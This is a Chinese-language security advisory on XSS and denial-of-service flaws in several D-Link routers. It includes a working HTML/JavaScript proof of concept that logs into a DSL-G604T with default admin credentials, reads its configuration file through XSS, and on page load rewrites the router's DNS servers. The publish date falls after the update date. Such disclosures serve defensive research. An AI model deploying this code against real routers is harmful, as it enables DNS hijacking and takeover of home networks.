安全研究

安全漏洞
多个D-Link产品跨站脚本及拒绝服务漏洞

发布日期:2008-12-07
更新日期:2008-03-26

受影响系统:
D-Link DI-604
D-Link DI-524
D-Link DSL-G604T
描述:
BUGTRAQ  ID: 28439
CVE(CAN) ID: CVE-2008-1266,CVE-2008-1253,CVE-2008-1258

D-Link是国际著名网络设备和解决方案提供商,产品包括多种路由器设备。

D-Link DI-524处理用户请求时存在多个漏洞,远程攻击者可能利用这些漏洞导致设备服务不可用或执行跨站脚本攻击。

D-Link DI-524路由器没有正确地处理发送给Web接口的登录请求,如果攻击者发送了超长用户名的话就会触发崩溃;如果发送了超长的HTTP头的话还可能导致路由器的WEB服务器崩溃。

D-Link DI-604路由器没有正确地过滤传送给prim.htm中rf参数的输入便返回给了用户,这可能导致在用户浏览器会话中执行任意HTML和脚本代码。

D-Link DSL-G604T路由器没有正确地过滤传送给cgi-bin/webcm中var:category参数的输入便返回给了用户,这可能导致在用户浏览器会话中执行任意HTML和脚本代码。

<*来源:Gareth Heyes
        laurent
  
  链接:http://secunia.com/advisories/29366/
        http://secunia.com/advisories/29531/
        http://secunia.com/advisories/29530/
        http://www.gnucitizen.org/projects/router-hacking-challenge/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<html>
<head>
<title>DLink DSL-G604T Exploit</title>
<script>
function readConfig() {
    login();
    setTimeout(function() {
        xss('"><iframe src="http://192.168.1.1/cgi-bin/webcm?getpage=/etc/config.xml" onload="alert(this.contentWindow.document.body.innerHTML);">');
    }, 2000);
}
function xss(payload) {
    ifrm = document.getElementById('iframe');
    ifrm.contentWindow.location = 'http://192.168.1.1/cgi-bin/webcm?getpage=../html/advanced/portforw.htm&var:pagename=fwan&var:category='+payload;
}
function login() {
    var f = document.createElement('form');
    f.action = 'http://192.168.1.1/cgi-bin/webcm';
    f.innerHTML = '<input type="hidden" name="getpage" value="../html/home.htm"><input type="hidden" name="errorpage" value="../html/index.html">';
    f.innerHTML += '<input type="hidden" name="login:command/username" value="admin"><input type="hidden" name="login:command/password" value="admin">';
    f.innerHTML += '<input type="hidden" name="var:errormsg" value="Error">';
    f.target = 'iframe';
    f.method = 'post';
    document.body.appendChild(f);
    f.submit();
}
function post(url, fields) {
    var p = document.createElement('form');
    p.action = url;
    p.innerHTML = fields;
    p.target = 'iframe';
    p.method = 'post';
    document.body.appendChild(p);
    p.submit();
}
function changeDNS(server) {
    login();
    setTimeout(function() {
        var fields = '<input type="hidden" name="getpage" value="../html/setup/dns.htm">';
        fields += '<input type="hidden" name="resolver:settings/nameserver1" value="'+server+'">';
        fields += '<input type="hidden" name="resolver:settings/nameserver2" value="'+server+'">';
        fields += '<input type="hidden" name="dproxy:settings/state" value="2">';
        post('http://192.168.1.1/cgi-bin/webcm',fields);
    }, 2000);
    setTimeout(function() {
        post('http://192.168.1.1/cgi-bin/webcm','<input type="hidden" name="logic:command/save" value="../html/tools/syscommnd.htm">');
    },5000);
}
window.onload = function() {
    //readConfig();
    changeDNS('2.2.2.2');
}
</script>
</head>
<body>
<iframe name="iframe" id="iframe"></iframe>
</body>
</html>

建议:
厂商补丁:

D-Link
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.dlink.com/

浏览次数:3145
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障